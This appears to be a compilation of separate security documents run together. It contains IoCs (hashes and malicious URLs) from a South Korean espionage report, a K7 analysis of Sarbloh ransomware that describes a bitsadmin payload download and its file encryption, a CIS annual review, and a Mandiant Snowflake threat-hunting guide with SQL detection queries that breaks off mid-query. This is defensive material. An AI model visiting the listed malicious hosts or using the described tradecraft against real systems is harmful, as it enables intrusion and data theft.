attacks focused on the South Korean military companies and the defense industry until 2017, but they have expanded to target the marine sector from 2018. Although it is not confirmed that the attack was carried out by the same group, it can still be concluded that the attacker in the spring of 2018 has been targeting Korean government agencies, at least from 2014, due to the similarity of the malware used in the attacks. For nearly 10 years, this unknown threat to South Korea has been committed to delivering attacks on major Korean agencies and companies. In 2018, it focused only on the marine sector, but we do not know its target for 2019. Therefore, we must be prudent of the changing trends of the Operation Bitter Biscuit attacks, which may target any sector. 6. **IoC (Indicators of Compromise)** **Dropper** - 1cd5a3e42e9fa36c342a2a4ea85feeb4 - bbfcb2d66784c0f7afc334f18a0866a7 - e3bac3712aaca2881d1f82225bb75860 - e5a8c1df0360baeeeab767d8422cc58f - e6e607ab6bd694ffcfe1451ed367d068 - f408653378b02858c0998ee4d726c8b8 **Downloader** - 00c479bf76dc90db51209d2fa2a9cf6a - 2c0522a805fa845ec9385eb5400e8d16 - 40f69d52559610d1f34f95e7a2c7924c - 410a19c9e5d6269e0d690307787e5fea - 46224c767a6c2765738a00bb9d797814 - 862f3c0bd6c1ecee39442271df6e954d - b13429ccf79d94a82dab0b30e0789227 - d198e4632f9c4b9a3efbd6b1ed378d26 - ef3103a76e101f7f19541d1cbbd2bd13 - f61c3f0eb173b2c5f38a1c9d5acda0dc - fd45ecc5b111948507ace52fc95253ae **Backdoor** - 3cc4e80a358e0f048138872bc79999cd - 45a416f10ccb2c31ff391e61a7584f1f - d0efdee5eaaf29cceab4678f652f04f9 - fc78fff75df0291d8c514f595f68c654 **URL information** - http://21kmg.my-homeip.net - http://hosting.twinkes.net/otete2/css/topblack.php - http://img.bealfinerdns.co.kr/script/index.htm - http://info.cherishk.com/rss/vide.php - http://kecao.my-homeip.de - http://live.triphose.com/data/asinfo.htm - http://mp.motlat.com/info/wel.gif - http://mp.motlat.com/lvs/tips.htm - http://pmad.dyndns.myonlineportal.de - http://sky.versignlist.com/images/jsphore.htm - http://soft.koreagzer.com/news - http://wel.versignlist.com/css/skywood.htm - http://www.hankookchon.com/css/serverlet.htm **File Name** - chrome.exe - conhost.exe - contray.exe - msupdata.exe - msviewer.exe - serv.exe - services.exe - taskhost.exe (File size of 100 MB or more)
# Sarbloh: The Ransomware With NO Demand By Rajesh R March 5, 2021 We came across this tweet about Sarbloh ransomware exploiting the current political climate of the country. We have seen malware using similar tactics in the past and enticing users with trending news like COVID-19 or the US elections as their theme. However, this approach by the threat actors was quite intriguing considering the fact that there were no ransom demands. The ransomware note claims that this notoriety was put together by “Khalsa Cyber Fauj”. The intended targets of this ransomware are not known as yet. Usually, there will be a ransom amount demanded by the threat actors, but in this case, there is no demand. Since there is no monetary gain for the malware authors, we think this is related to hacktivism. In this blog, we will be explaining the technical aspects of this ransomware. ## Technical Details Sarbloh is neat and straightforward. The binaries are not packed and it mostly uses Windows native APIs. The functions are in sequential order similar to any run-of-the-mill ransomware. The ransomware authors have been lax in using evasion techniques, making us believe that this malware is meant for hit-and-run type of attacks. The initial vector is a docm file with a really good tutorial on how to enable macros in MS Office with patriotic themed images. The docm file contains a simple macro which assigns bitsadmin a job to download the payload. Using bitsadmin is not new and is popular amongst malware variants. Their payload is saved as putty.exe. This name is used to avoid suspicion as it looks similar to a popular application. Now we will be discussing the code flow of the ransomware payload. The flow is neat and starts with getting the base address of ntdll from Process Environment Block (PEB). This is one of the standard ways of malware loading DLL during runtime. The complete method could be found here. Encrypted DLL and function names are embedded in encrypted format within resources and are decrypted and loaded during runtime. The authors also left a message for the people reversing the ransomware. The decryption key for the names is a combination of a string and a unicode value. The string is “FUCKINDIA”. From here on, the steps are similar to how any generic ransomware would work. The next step is searching for the addresses of key APIs like LdrLoadDll, LdrGetProcedureAddress, etc. These are the required APIs for enumerating and encrypting the files. After this, the ransomware’s public keys are imported. Here, the C drive is hardcoded in the binary and only files in the C drive are encrypted. So, all the files in this drive are enumerated and a key pair is generated for each file using CryptGenKey. Using the public key, and with the key pair generated per file, the file is encrypted and the key pair itself is encrypted using the ransomware’s public key and is appended to the end of the file. CryptEncrypt API is used for encryption. Looking at the encryption code flow, we think this is a DIY ransomware attempt, as we found a similar one in Microsoft forums. The file names are changed using SetFileInformation API. A set of inclusion list for extensions and exclusion list for directories are also used. Finally, a thread is created which generates a window for displaying the ransomware note. Usually, ransomware authors leave contact information in the note. But in the case of Sarbloh, no email or a bitcoin invoice is available, leaving the victims with no hope of recovering their files. We at K7 Computing constantly monitor for such malware and ensure that we provide proactive protection against such attacks. Also, our Generic Anti-Ransomware feature in our security product flags this before the ransomware can execute. As always, we recommend our customers to use the K7 security products to protect your data and keep it updated to stay protected from the latest threats. ## Indicators Of Compromise (IoCs) | File Name | Hash | K7 Detection Name | |---------------------------------------|----------------------------------------------------------|------------------------| | profile16146815778005vw0qb.png | 8E7ED531E974D966E927E4B33CA0D98F4B269503 | Trojan (00578ab71) | | doc1.docm | 82B36C510877CA7A59D20415FF939E0E | Trojan (000114e01) |
# Confidence in the Connected World ## Year in Review In 2018, CIS once again demonstrated the importance of our role as an independent, global leader in cybersecurity. Among our most notable accomplishments was the creation of the Elections Infrastructure Information Sharing & Analysis Center® (EI-ISAC®). Using the guiding principle of “We can achieve more collectively,” CIS entered the election security arena with the EI-ISAC in March. In a parallel landmark development, CIS led the collaborative production of *A Handbook for Elections Infrastructure Security* to help election officials and their technical support teams defend U.S. election systems and networks vital to our functioning democracy. Throughout the remainder of 2018, the EI-ISAC grew to include all 50 states and almost 1,500 total members, including many local election officials and their technical staff members, election technology vendors, and federal partners. In 10 scant months, the EI-ISAC became the fastest-growing ISAC in history. The EI-ISAC also deployed network monitoring sensors, called “Albert sensors,” to help protect the most critical elements of our election infrastructure. By sharing information about the threat landscape, monitoring network activity for malicious traffic, educating election officials about cybersecurity, and identifying necessary technical cybersecurity controls, the EI-ISAC helped the U.S. election community make substantial strides toward ensuring the security and integrity of our elections. During the primaries and mid-term elections, the EI-ISAC sponsored an online National Cyber Situational Awareness Room, which connected election offices across the nation with the U.S. Department of Homeland Security, the FBI, and the EI-ISAC Security Operations Center. The Situation Room provided real-time awareness of cyber threats as well as physical incidents. During 2018, the Multi-State Information Sharing & Analysis Center® (MS-ISAC®) added more than 3,000 new members to reach 5,000 members. Overall membership saw a 150 percent increase. MS-ISAC municipal government members now cover 80 percent of the U.S. population. Our partnership with state and local government organizations and the Department of Homeland Security continues to grow stronger with increased depth and breadth of the intelligence provided through the MS-ISAC monitoring, information sharing, and cyber education missions. CIS also greatly expanded the quality and quantity of our product offerings this year. In January 2018, CIS launched an effort to provide complimentary CIS SecureSuite® subscriptions to all U.S. state, local, tribal, and territorial governments. These organizations now have access to this suite of powerful tools and CIS support services, which will simplify implementation and enforcement of high-priority security controls. In 2018, the number of CIS Hardened Images™ available for Amazon Web Services®, Microsoft® Azure, and Google Cloud® platforms was significantly increased. Cloud customers used more than 160 million machine hours of CIS Hardened Images in 2018. These cloud services have emerged as our fastest-growing and most impactful products. The CIS Controls™ continue to set the standard for best practices in cyber defense as recognized by leading organizations around the world. Global recognition included the European Telecommunications Standards Institute, now globally known as ETSI, updating its compendium of Technical Reports to include the CIS Controls. In addition, the Aerospace Industries Association (AIA) embraced the CIS Controls as the basis for their Cyber Standard Practice document. Numerous additions were made to the portfolio of companion guides for these CIS best practice standards, including the Implementation Guide for Industrial Control Systems, which provides cyber defense guidance for Industrial Control System environments. In addition, CIS released the CIS Risk Assessment Methodology (CIS RAM), to assist organizations in assessing overall organizational cyber risks. To date, the CIS Controls have been downloaded more than 157,000 times. These 2018 achievements reflect the unwavering commitment by the CIS team to help safeguard organizations of all sizes against cyber threats—in short, to continue our mission to deliver Confidence in the Connected World. Sincerely, John M. Gilligan CEO and President ## At a Glance - CIS grew its workforce by 36 percent. - CIS implemented a new performance management system that supports engagement and professional development. - CIS was named a Top Workplace by the Albany Times Union. ### CIS Benchmarks - 1M+ CIS Benchmarks downloads - 32 CIS Benchmarks developed or updated - 31 CIS Benchmarks developed or updated in formats to support assessment and implementation - 14 Active CIS Benchmarks in communities covering multiple technology platforms. CIS SecureSuite membership increased to more than 6,800 members in 2018. CIS Services provided vulnerability assessments, managed security services, social engineering/phishing services, and penetration testing services. ### 2018 CIS SecureSuite Members by Industry - 1.4% Education (Private Schools & Colleges) - 1.7% International Government - 1.8% Media & Entertainment - 2.4% Travel & Transportation - 3% Retail - 3% Telecommunications - 4.1% Not-for-Profit - 4.6% Energy/Utilities - 5% Government (National/Federal) - 5.3% Insurance - 5.9% Healthcare - 7.6% Manufacturing & Consumer Goods - 7.7% Business Services - 15.7% IT Consulting/Services - 21.1% Financial Services *Percentages above exclude U.S. state, local, territorial, and tribal governments and public academic institutions.* ### CIS Hardened Images CIS became the Seller of Record for CIS Hardened Images™ in the AWS Marketplace® in 2018. CIS expanded offerings in the AWS Marketplace to include CIS Hardened Images for Ubuntu® 18.04 and Amazon Linux® 2. CIS also released our first container base image using Ubuntu 16.04. CIS Hardened Images for Red Hat® Enterprise Linux 6 and 7, SUSE® Linux 12, and Ubuntu 18.04 were released in the Microsoft® Azure Marketplace. Additionally, CIS Hardened Images for SUSE Linux 11 and 12 and Ubuntu 18.04 were released in Google Cloud Platform™. ### Current number of CIS Hardened Images by provider: - Amazon Web Services®: 23 - Microsoft® Azure: 19 - Google Cloud Platform™: 15 ### 2018 Combined CIS Hardened Images Hours and Usage by Technology Developed by a global community of experienced IT practitioners, the CIS Controls are a technology- and vendor-independent set of concise, prioritized cybersecurity actions and best practices. The CIS Controls team successfully increased global awareness and adoption of this actionable set of best practices, while simultaneously producing extensive new guidance content in 2018. ### Program Accomplishments The CIS Controls Version 7 was launched in the first quarter of this year. New features in CIS Controls Version 7 include: - Improved consistency and simplification of the wording of each Sub-Control. - Implementation of “one ask” per Sub-Control. - More focus on authentication, encryption, and application whitelisting. - Better accounting for security technology and emerging security problems. - Better alignment with other frameworks (such as the NIST CSF). - Supports the development of related products (e.g., measurements/metrics, implementation guides). - Identifies types of CIS Controls (basic, foundational, and organizational). The government of Paraguay formally approved the use of CIS Controls Version 7 as the cybersecurity baseline for all government institutions. Implementation of the CIS Controls 1-6, considered the basic Controls, will start in February 2020. The goal is full implementation of all CIS Controls by 2024. CIS Controls V7 Measures and Metrics – The CIS Controls are organized in a hierarchical structure. There are 20 Controls that are further divided into 171 Sub-Controls. As more organizations are adopting this set of best practices, there is an increased interest in being able to measure and manage their implementation of the 171 Sub-Controls. CIS Controls V7 Measures and Metrics addresses how to measure if a Sub-Control has been implemented successfully based on Six Sigma levels. Six Sigma is a data-driven approach to quality, which works to reduce variation and the associated defects, wastes, and risks in any process. The CIS Controls team started work with the University of North Carolina at Charlotte to develop criteria for objectively measuring each of the 171 Sub-Controls. The primary focus will be on measuring the different levels of the three implementation groups. This work will pave the way for the future creation of automated tools that will measure the CIS Controls implementation. ### MS-ISAC Distributed more than 800 products to members. Sent 75,571 network monitoring and system compromise/vulnerability notifications to members. Analyzed 317 petabytes of data, which generated 17.7 trillion records. Conducted 239 forensic investigations. The Multi-State Information Sharing & Analysis Center (MS-ISAC), with financial support from the Department of Homeland Security, continued its mission to improve the cybersecurity posture of the nation’s state, local, tribal, and territorial (SLTT) governments through focused cyber threat identification, protection, detection, response, and recovery activities this year. Individual sectors within our membership all saw marked increases in growth throughout the year. MS-ISAC tribal government membership increased by 81 percent, K-12 schools by 333 percent, and public utilities by 125 percent. MS-ISAC also runs the Nationwide Cybersecurity Review (NCSR), which provides insight on the level of maturity and risk awareness of the SLTT’s information security programs from year to year. DHS and MS-ISAC use the results of this report to work on improving the cybersecurity of the SLTT community. The results of the 2018 NCSR are based on participation from 669 SLTT entities in 43 states. They include 277 local governments (representing 43 states), six tribes, and 343 state agencies (representing 24 states). An analysis of this year’s results showed that state, local, and tribal peer groups continued to report overall scores which fell below the recommended minimum maturity level. All NCSR participants continue to identify the same top five security concerns over the past four years: - Lack of sufficient funding - Increasing sophistication of threats - Lack of documented processes - Emerging technologies - Inadequate availability of cybersecurity professionals The MS-ISAC national meeting was held in New Orleans, where over 380 members from across the nation came together. ### EI-ISAC The EI-ISAC is a voluntary and collaborative effort based on a strong partnership between CIS, the DHS Cybersecurity and Infrastructure Security Agency (CISA), and the Election Infrastructure Subsector Government Coordinating Council (EIS-GCC). During 2018, the EI-ISAC evolved from an idea to a formalized collective of dedicated election officials, their staff members, associations, technology vendors, federal partners, and cybersecurity experts working tirelessly to help secure the U.S. elections infrastructure. The EI-ISAC was conceived as a means of leveraging the many capabilities and the infrastructure of the MS-ISAC. The integration of the two continued after the EI-ISAC’s formal launch in March. Both the MS-ISAC and EI-ISAC benefit by operating under the auspices of CIS. This allows them to work together to educate and protect SLTT governments from the myriad cyber threats that are aimed at both the traditional government IT systems and those specific to elections. Both ISACs continue to utilize centralized, and in many cases shared, resources to enable a greater level of visibility and information-sharing across the elections and the SLTT government sectors to benefit the constituencies of both organizations. Everything from webcasts to workgroups to in-person meetings integrates the needs of both ISACs, offering efficiency and consistency for the membership. ### 2018 EI-ISAC Membership Growth - ISACs Combined Security Best Practice Recommendations and Tools: - Security Operations Center (SOC) providing 24/7/365 incident triage and immediate responses. - Computer Emergency Response Team (CERT) to provide incident responses and forensic services. - Cyber Threat Intelligence Team to provide forward-leaning analysis, written products, and presentations. - Engineering Team to provide sensor deployment and technical assistance. - Stakeholder Engagement Team to provide member support and engagement. - Election-specific and general threat intelligence and vulnerability monitoring. - National Cyber Situational Awareness Room to monitor election activity. - Training sessions and webinars. The EI-ISAC will continue to operate in partnership with members and stakeholders nationwide to ensure the integrity of elections in the United States. ### CIS CyberMarket CIS CyberMarket® continues to serve the U.S. state and local government communities by identifying top-notch cybersecurity vendors, vetting them through the CIS CyberMarket Product Review Board, and then negotiating a significant discount for CIS CyberMarket partners. In 2018, our government partners saved more than $11 million on software and services provided by SANS and other vendors. CIS continued to expand these partnerships this year by adding solution providers including Belarc and Akamai, who are offering our members new and innovative cyber defense tools. CIS CyberMarket staff also continue to leverage the expertise of our partners and CIS subject matter experts by sharing their knowledge in our Cybersecurity Quarterly. This digital publication features articles on how to implement best practices, summaries of recent cyber threats and attacks, and other cyber defense information crucial to state and local governments. ### CIS Leadership **Officers** William Pelgrin, Chairman, Co-Founder and Partner, CyberWA Inc. John M. Gilligan, CEO and President, Center for Internet Security Bruce Moulton, Treasurer, Retired Deirdre O’Callaghan, Secretary and Chief Counsel, Center for Internet Security **Directors** Jack Arthur, Oc to Consulting Group Dr. Ramon Barquin, President and CEO, Barquin International Jane Holl Lute Christopher Painter Alan Paller, Founder and Director of Research, SANS Institute Franklin Reeder, Co-Founder, Center for Internet Security Richard Schaeffer, Advisor, Riverbank Associates LLC Roberta Stempfley, Director, CERT Division, Software Engineering Institute Phil Venables, Managing Director and Chief Information Risk Officer, Goldman Sachs & Co. **Executive Team** Sean Atkinson, Chief Information Security Officer Brian Calkin, Chief Technology Officer Carolyn Comer, Chief Human Resources Officer Gina Chapman, Chief of Staff Thomas Duffy, Senior Vice President, Operations and Services, Chair, Multi-State ISAC Curtis Dukes, Executive Vice President, General Manager ### Contact Information 31 Tech Valley Drive East Greenbush, New York 12061 518.266.3460 Fax: 518.266.2085 www.cisecurity.org
# Mandiant Threat Hunting Guide ## Summary This document contains threat hunting guidance and queries for detecting abnormal and malicious activity across Snowflake customer database instances. Default retention policies for the relevant views enable threat hunting across the past year (365 days). ## Background On June 10, 2024, Mandiant released a report on a threat campaign targeting Snowflake customer database instances with the intent of data theft and extortion. Snowflake is a multi-cloud data warehousing platform used to store and analyze large amounts of structured and unstructured data. Mandiant tracks this cluster of activity as UNC5537, a financially motivated threat actor suspected to have stolen a significant volume of records from Snowflake customer environments. UNC5537 is systematically compromising Snowflake customer instances using stolen customer credentials, advertising victim data for sale on cybercrime forums, and attempting to extort many of the victims. Mandiant's investigation has not found any evidence to suggest that unauthorized access to Snowflake customer accounts stemmed from a breach of Snowflake's enterprise environment. Instead, every incident Mandiant responded to associated with this campaign was traced back to compromised customer credentials. This guide provides hunting guidance to identify both activity associated with this campaign and other general malicious activity. ## General Snowflake Tips & Tricks ### 1. Common Table Expressions (CTEs) A CTE takes the results of a query and stores them as a value which can be referenced in your main query. This can help keep the main body of your query cleaner and easier to edit in the future. ```sql WITH sq AS ( SELECT <THINGS> FROM <PLACE> WHERE <CONDITION> GROUP BY <THING-1> ) SELECT <THINGS> FROM <PLACE> p JOIN sq ON sq.<THING-1> = p.<THING-1> WHERE <CONDITION> ``` ### 2. Timestamp Normalization Timestamps, even when cast to UTC, will only appear normalized in the Snowflake UI. Once you export them, they will return to their original timezone. To sidestep this, encapsulate timezones in both `CONVERT_TIMEZONE`, then `TO_VARCHAR`, which stores them as immutable string values. ```sql TO_VARCHAR(MIN(CONVERT_TIMEZONE('UTC', START_TIME)), 'yyyy-mm-dd hh24:mi:ss') AS EARLIEST_UTC, TO_VARCHAR(MAX(CONVERT_TIMEZONE('UTC', START_TIME)), 'yyyy-mm-dd hh24:mi:ss') AS LATEST_UTC, TO_VARCHAR(CONVERT_TIMEZONE('UTC', START_TIME), 'yyyy-mm-dd hh24:mi:ss') AS UTC_STR, ``` ### 3. JSON Extraction Two main methods exist for JSON extraction: 1. Conversion of the entire JSON blob 2. Text extraction of single fields within a JSON blob ```sql // Blob conversion PARSE_JSON(DB.SCHEMA.TABLE.JSON_BLOB_FIELD) AS PARSED_JSON // Access nested members PARSED_JSON:<NESTED FIELD NAME>::STRING AS NESTED_FIELD ``` ```sql // Individual path extraction JSON_EXTRACT_PATH_TEXT(DB.SCHEMA.TABLE.JSON_BLOB_FIELD, '<NESTED FIELD IN JSON BLOB') AS <NEW_FIELD_NAME> ``` ## IAM Review ### Roles and Permissions Changes **Description** Hunt for any changes made to roles or permissions that could be associated with attacker activity. This includes abnormal usage of the GRANT statement to: - Enumerate resources the current user has access to - Grant additional rights to a user enabling additional access to commands or resources **Observations** During Mandiant’s investigation of UNC5537, the SHOW GRANT command was utilized to enumerate permissions and identify what tables they had access to. **Potential Attacker Trends** We observed multiple instances of exfiltration preceded by a large number of "SHOW GRANT" queries, explicitly calling individual usernames. Prior to table selection, the GRANT statement was queried to confirm the current user account had proper access to the table of interest. **Stacking Field Definition** | Field Name | Field Definition | |------------|------------------| | CLIENT_IP / IP | IP address running queries | | USERNAME | Name of the user account that ran the query | | APPLICATION_NAME | The name of the application that ran queries, from CLIENT_ENVIRONMENT | | EARLIEST_UTC | First time, grouped variation was observed, normalized to UTC as a string | | LATEST_UTC | Last time, grouped variation was observed, normalized to UTC as a string | | UNIQUE_QUERIES | Count of unique queries per grouped variation | | TOTAL_QUERIES | Count of total queries per grouped variation | | DAY_COUNT | Count of unique days active per grouped variation | | UNIQ_USER | Count of unique users per grouped variation | | ARR_UNIQ_USER | Array of users that ran queries per grouped variation | | UNIQ_APP_NAME | Count of unique application names per grouped variation | | ARR_APP_NAME | Array of application names per grouped variation | | UNIQ_OS | Count of unique operating systems per grouped variation | | ARR_OP_SYS | Array of operating systems per grouped variation | | UNIQ_IP | Count of unique IPs per grouped variation | ### Query 1: Spikes in Admin Permission Changes/Views by User, Application Name, IP, and Operating System per Day ```sql SELECT DATE(START_TIME) AS QUERY_DATE, TO_VARCHAR(MIN(CONVERT_TIMEZONE('UTC', START_TIME)), 'yyyy-mm-dd hh24:mi:ss') AS EARLIEST_UTC, TO_VARCHAR(MAX(CONVERT_TIMEZONE('UTC', START_TIME)), 'yyyy-mm-dd hh24:mi:ss') AS LATEST_UTC, COUNT(DISTINCT DATE(START_TIME)) AS DAY_COUNT, COUNT(DISTINCT QUERY_HASH) AS UNIQUE_QUERIES, COUNT(QUERY_TEXT) AS TOTAL_QUERIES, COUNT(DISTINCT JSON_EXTRACT_PATH_TEXT(s.CLIENT_ENVIRONMENT, 'APPLICATION')) AS UNIQ_APP_NAME, ARRAY_UNIQUE_AGG(JSON_EXTRACT_PATH_TEXT(s.CLIENT_ENVIRONMENT, 'APPLICATION')) AS ARR_APP_NAME, COUNT(DISTINCT JSON_EXTRACT_PATH_TEXT(s.CLIENT_ENVIRONMENT, 'OS')) AS UNIQ_OP_SYS, ARRAY_UNIQUE_AGG(JSON_EXTRACT_PATH_TEXT(s.CLIENT_ENVIRONMENT, 'OS')) AS ARR_OP_SYS, COUNT(DISTINCT l.CLIENT_IP) AS UNIQ_IP FROM snowflake.account_usage.query_history q JOIN snowflake.account_usage.sessions s ON s.session_id = q.session_id JOIN snowflake.account_usage.login_history l ON l.EVENT_ID = s.LOGIN_EVENT_ID WHERE ( upper(QUERY_TEXT) LIKE '%CREATE USER%' OR upper(QUERY_TEXT) LIKE '%ALTER USER%' OR upper(QUERY_TEXT) LIKE '%ALTER ACCOUNT%' OR upper(QUERY_TEXT) LIKE '%ALTER PASSWORD POLICY%' OR upper(QUERY_TEXT) LIKE '%APPLY PASSWORD POLICY%' OR upper(QUERY_TEXT) LIKE '%GRANT USAGE%' OR upper(QUERY_TEXT) LIKE '%GRANT CREATE%' OR upper(QUERY_TEXT) LIKE '%GRANT APPLY%' OR upper(QUERY_TEXT) LIKE '%SHOW GRANT%' OR upper(QUERY_TEXT) LIKE '%GRANT ROLE%' ) OR QUERY_TYPE IN ('CREATE_USER', 'ALTER_ACCOUNT', 'GRANT', 'ALTER_USER') GROUP BY QUERY_DATE ``` ### Abnormal Table and DB Access **Description** Most accounts regularly access a limited set of databases, schemas, views, and tables, but unless there is prior insight, an attacker needs to enumerate a multitude of sources. These spikes in the number of databases/schemas/views/tables can be indicative of attacker activity. **Observations** We noticed a very distinctive spike in unique views/tables accessed by user accounts impacted by the attacker. Since there are more views/tables than schemas, and more schemas than databases, analysis of views/tables can show more distinctive peaks and valleys. **Warnings about FP/Noise** Normalizing the results as a fraction from the average can be a better way to look for spikes, rather than the raw aggregate numbers. Raw numbers can cause a loud service account to drown out the enumeration of an attacker’s activity. The below aggregation normalizes the daily unique numbers as a percentage of that entry’s average. ```sql TO_NUMBER(UNIQ_QUERIES/AVG(UNIQ_QUERIES)*100, 10, 2) AS RATE ``` **Stacking Field Definition** | Field Name | Field Definition | |------------|------------------| | CLIENT_IP / IP | IP address running queries | | USERNAME | Name of the user account that ran the query | | APPLICATION_NAME | The name of the application that ran queries, from CLIENT_ENVIRONMENT | | EARLIEST_UTC | First time, grouped variation was observed, normalized to UTC as a string | | LATEST_UTC | Last time, grouped variation was observed, normalized to UTC as a string | | UNIQUE_QUERIES | Count of unique queries per grouped variation | | TOTAL_QUERIES | Count of total queries per grouped variation | | DAY_COUNT | Count of unique days active per grouped variation | | UNIQ_USER | Count of unique users per grouped variation | | ARR_UNIQ_USER | Array of users that ran queries per grouped variation | | UNIQ_APP_NAME | Count of unique application names per grouped variation | | ARR_APP_NAME | Array of application names per grouped variation | | UNIQ_OS | Count of unique operating systems per grouped variation | | ARR_OP_SYS | Array of operating systems per grouped variation | | UNIQ_IP | Count of unique IPs per grouped variation | ### Query 1: Spikes in View Access by User, Application Name, IP, and Operating System Across Whole Snowflake Environment Per Day ```sql WITH sq AS ( SELECT START_TIME, DATE(START_TIME) AS QUERY_DATE, QUERY_HASH, QUERY_TEXT, SESSION_ID, REGEXP_REPLACE(REGEXP_SUBSTR(QUERY_TEXT, $$FROM.*\W([\w]+\.[^\s]+\.[\w]+).*$$, 1, 1, 'mse'), '"', '') AS DB_S_TV_STR, CASE WHEN UPPER(QUERY_TEXT) LIKE '%COUNT(%' THEN 'TRUE' ELSE 'FALSE' END AS IS_COUNT_Q FROM snowflake.account_usage.query_history q WHERE EXECUTION_STATUS = 'SUCCESS' AND (upper(QUERY_TEXT) LIKE 'SELECT%' OR upper(QUERY_TEXT) LIKE 'COPY INTO%') AND upper(QUERY_TEXT) LIKE '%FROM%' AND NOT REGEXP_LIKE(UPPER(QUERY_TEXT), '.*INFORMATION_SCHEMA.*', 's') ) SELECT QUERY_DATE, COUNT(DISTINCT sq.QUERY_HASH) AS UNIQ_QUERIES, COUNT(DISTINCT l.USER_NAME) AS UNIQ_USER, COUNT(DISTINCT l.CLIENT_IP) AS UNIQ_IP, COUNT(DISTINCT JSON_EXTRACT_PATH_TEXT(s.CLIENT_ENVIRONMENT, 'APPLICATION')) AS UNIQ_APPS, COUNT(DISTINCT sq.SESSION_ID) AS UNIQ_SESSION, SPLIT_PART(DB_S_TV_STR, '.', 1) AS target_DB, SPLIT_PART(DB_S_TV_STR, '.', 2) AS target_schema, SPLIT_PART(DB_S_TV_STR, '.', 3) AS target_table FROM sq JOIN snowflake.account_usage.sessions s ON s.session_id = sq.session_id JOIN snowflake.account_usage.login_history l ON l.EVENT_ID = s.LOGIN_EVENT_ID WHERE sq.IS_COUNT_Q = 'FALSE' AND DB_S_TV_STR IS NOT NULL GROUP BY QUERY_DATE, target_DB, target_schema, target_table ``` ## User Creation and Deletion **Description** The “Snowflake.Account_Usage.Users” view can be utilized to identify all users currently and historically present in the target Snowflake account over the past year. In addition to creation, deletion, and last password modification timestamps, other properties surrounding the account such as role, MFA enforcement, and email address are also visible. **Potential Attacker Trends** Depending on the end goal of the attacker, behavior will vary per attack lifecycle. Focusing on anomalies such as: - Account creations (CREATED_ON) followed by rapid deletions (DELETED_ON) - Invalid or abnormal domains present in email addresses (EMAIL) - Abnormal password reset times (PASSWORD_LAST_SET_TIME) - Disabled MFA (EXT_AUTHN_DUO) in an environment where it is normally required **Field Definition** The field definition for the users view can be found in the following Snowflake documentation: [Snowflake Users Documentation](https://docs.snowflake.com/en/sql-reference/account-usage/users) ### Query 1: Full export of Users View ```sql SELECT * FROM snowflake.account_usage.users ``` ## Query Analysis ### Frequency Analysis **Description** When performing recon on the environment, the number of queries performed by the attacker were observed as a spike comparatively to those seen across normal days within the environment. The queries below break out different ways of stacking the number of queries based on User, Application Name, IP, and Operating System. **Potential Attacker Trends** Look for abnormal spikes across user accounts and IP addresses (specifically for service accounts with relatively fixed rates of queries day per day due to automations). **Stacking Field Definition** | Field Name | Field Definition | |------------|------------------| | CLIENT_IP / IP | IP address running queries | | USERNAME | Name of the user account that ran the query | | APPLICATION_NAME | The name of the application that ran queries, from CLIENT_ENVIRONMENT | | EARLIEST_UTC | First time, grouped variation was observed, normalized to UTC as a string | | LATEST_UTC | Last time, grouped variation was observed, normalized to UTC as a string | | UNIQUE_QUERIES | Count of unique queries per grouped variation | | TOTAL_QUERIES | Count of total queries per grouped variation | | DAY_COUNT | Count of unique days active per grouped variation | | UNIQ_USER | Count of unique users per grouped variation | | ARR_UNIQ_USER | Array of users that ran queries per grouped variation | | UNIQ_APP_NAME | Count of unique application names per grouped variation | | ARR_APP_NAME | Array of application names per grouped variation | | UNIQ_OS | Count of unique operating systems per grouped variation | | ARR_OP_SYS | Array of operating systems per grouped variation | | UNIQ_IP | Count of unique IPs per grouped variation | ### Query 1: Spikes in Query Count per Day (Showing Distinct and Count of Users, Application Names, Operating System, and IP) ```sql SELECT DATE(START_TIME) AS QUERY_DATE, COUNT(DISTINCT QUERY_HASH) AS UNIQUE_QUERIES, COUNT(QUERY_TEXT) AS TOTAL_QUERIES, TO_VARCHAR(MIN(CONVERT_TIMEZONE('UTC', START_TIME)), 'yyyy-mm-dd hh24:mi:ss') AS EARLIEST_UTC, TO_VARCHAR(MAX(CONVERT_TIMEZONE('UTC', START_TIME)), 'yyyy-mm-dd hh24:mi:ss') AS LATEST_UTC, COUNT(DISTINCT DATE(START_TIME)) AS DAY_COUNT, ARRAY_UNIQUE_AGG(JSON_EXTRACT_PATH_TEXT(s.CLIENT_ENVIRONMENT, 'APPLICATION')) AS ARR_APP_NAME, COUNT(DISTINCT JSON_EXTRACT_PATH_TEXT(s.CLIENT_ENVIRONMENT, 'APPLICATION')) AS UNIQ_APP_NAME, ARRAY_UNIQUE_AGG(JSON_EXTRACT_PATH_TEXT(s.CLIENT_ENVIRONMENT, 'OS')) AS ARR_OP_SYS, COUNT(DISTINCT JSON_EXTRACT_PATH_TEXT(s.CLIENT_ENVIRONMENT, 'OS')) AS UNIQ_OS, ARRAY_UNIQUE_AGG(l.CLIENT_IP) AS ARR_IP, COUNT(DISTINCT l.CLIENT_IP) AS UNIQ_IP FROM snowflake.account_usage.query_history q JOIN snowflake.account_usage.sessions s ON s.session_id = q.session_id JOIN snowflake.account_usage.login_history l ON l.EVENT_ID = s.LOGIN_EVENT_ID GROUP BY QUERY_DATE ``` ### Query 2: Query Frequency & Behavior per User ```sql SELECT q.USER_NAME AS USERNAME, COUNT(DISTINCT QUERY_HASH) AS UNIQUE_QUERIES, COUNT(QUERY_TEXT) AS TOTAL_QUERIES, TO_VARCHAR(MIN(CONVERT_TIMEZONE('UTC', START_TIME)), 'yyyy-mm-dd hh24:mi:ss') AS EARLIEST_UTC, TO_VARCHAR(MAX(CONVERT_TIMEZONE('UTC', START_TIME)), 'yyyy-mm-dd hh24:mi:ss') AS LATEST_UTC, COUNT(DISTINCT DATE(START_TIME)) AS DAY_COUNT, ARRAY_UNIQUE_AGG(JSON_EXTRACT_PATH_TEXT(s.CLIENT_ENVIRONMENT, 'APPLICATION')) AS ARR_APP_NAME, COUNT(DISTINCT JSON_EXTRACT_PATH_TEXT(s.CLIENT_ENVIRONMENT, 'APPLICATION')) AS UNIQ_APP_NAME, ARRAY_UNIQUE_AGG(JSON_EXTRACT_PATH_TEXT(s.CLIENT_ENVIRONMENT, 'OS')) AS ARR_OP_SYS, COUNT(DISTINCT JSON_EXTRACT_PATH_TEXT(s.CLIENT_ENVIRONMENT, 'OS')) AS UNIQ_OS, ARRAY_UNIQUE_AGG(l.CLIENT_IP) AS ARR_IP, COUNT(DISTINCT l.CLIENT_IP) AS UNIQ_IP FROM snowflake.account_usage.query_history q JOIN snowflake.account_usage.sessions s ON s.session_id = q.session_id JOIN snowflake.account_usage.login_history l ON l.EVENT_ID = 